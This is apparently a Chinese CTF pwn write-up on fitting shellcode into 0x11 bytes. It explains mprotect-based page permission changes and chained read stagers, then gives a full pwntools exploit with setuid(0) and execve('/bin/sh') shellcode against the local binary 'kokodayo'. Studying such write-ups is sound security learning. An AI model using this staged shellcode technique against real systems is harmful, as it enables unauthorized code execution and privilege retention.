前几天无意间看到有师傅在询问最短的shellcode的长度是多少,询问之后发现是这个题目只允许写入0x11字节的shellcode,正好本人汇编水平非常的拉,所以想借这题练习练习。
打开虚拟机发现保护全开,是64位的,拖进IDA反汇编后查看伪代码,在如下图中的位置:
可以发现,程序使用mmap开辟了空间,并向该内存读入了0x11个字节,并且使用mprotect来修改该区域的权限,讲一下mprotect函数,函数原型为int mprotect(const void *start, size_t len, int prot);
,
该函数有三个参数,分别为:
也就是说,mprotect是把从addr开始的长度为length的内存空间的保护属性修改为prot的值。需要注意的是mprotect修改权限时,是以一个内存页为最小单位的,也就是说,如果写入的长度没有达到一个内存页的大小(0x1000),mprotect认为修改一整个页的权限。
我先去尝试了一下,写了一个shellcode看了下,有0x17个字节,即使经过师傅的指点后,这题只有rsi只有低32位有值,可以用esi,会少一个字节,对比如下:
但还是超出了0x11字节,于是思考是否有其他方法可以对0x11进行扩展,把他变大,但是由于该题mprotect时,第三个参数prot为5,所以只有rx,也就是读取和执行权限,没有写入的权限(这里不懂的可以搜一下Linux下权限相关的文章看看),所以,为了后续能把可写的内存变大,需要先对这片内存赋予可写的权限,这题直接使用mprotect扩展即可,mprotect所对应的系统调用号可以在/usr/include/x86_64-linux-gnu/asm/unistd_64.h
中所找到。
这里还有一个小知识,也是看到了其他师傅的文章之后才知道的,在gcc编译时,当call一个系统函数时,通常还会call一个寄存器,这题call我们写入的shellcode时,call了rdx寄存器,所以rdx里存的,就是我们写入的shellcode的地址。
在膜拜大佬的WP的同时,我也学习到了一个对这题至关重要的知识:当执行完syscall之后,程序会从内核态快速返回用户态,rcx的值会被置为rip的值,这也导致了第四个参数被存放在了r10寄存器中。
那么当我们赋予了内存写入的权限之后,来看看各个寄存器的值,rcx的值为rip,rax此时为0,那么我们如果要在该内存写入,只需要写入read的shellcode:
mov esi,ecx
xor edi,edi
syscall
这时,我们就可以向rip读入0xf个字节,那么此时,我们再次读入read的shellcode:
mov al,0
xchg r11,rdx
syscall
现在我们就已经把空间申请的非常大了,可以直接读入shellcraft.sh()生成的shellcode都没问题,但是由于开局我选了一次第一个选项,他嘲讽我,所以这题shellcode是自己写的:
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 59
pop rax
syscall
听说比赛中这题执行完以后权限不够,读不了flag,可以使用105号系统调用setuid来防止自动降权。
最终exp如下:
from pwn import *
from capstone import *
io=process('./kokodayo')
elf=ELF('./kokodayo')
context.arch='amd64'
#context.log_level='debug'
io.recvuntil('2. I write it myself!\n')
io.sendline('2')
#io.recvuntil('I allow you write 0x11 bytes shellcode!\n')
shellcode0 = asm('''
mov edi,edx
push 0xf
pop rdx
mov esi,edx
mov al,10
syscall
xor edi,edi
xchg ecx,esi
syscall
''')
shellcode1 = asm('''
nop\nnop\nnop\nnop\nnop\nnop\nnop\n
mov al,0
xchg r11,rdx
syscall
''')
my_execve=asm('''
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 59
pop rax
syscall
''')
shellcode3 = asm('''
nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n
mov rax,105
xor rdi,rdi
syscall
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 59
pop rax
syscall
''')
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(shellcode3, 0x00):
success("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
io.sendafter(b'pwn me',shellcode0)
#gdb.attach(io)
#pause()
io.send(shellcode1)
gdb.attach(io)
pause()
io.send(shellcode3)
#gdb.attach(io,"b setuid")
#pause()
io.interactive()
运行后成功获得权限: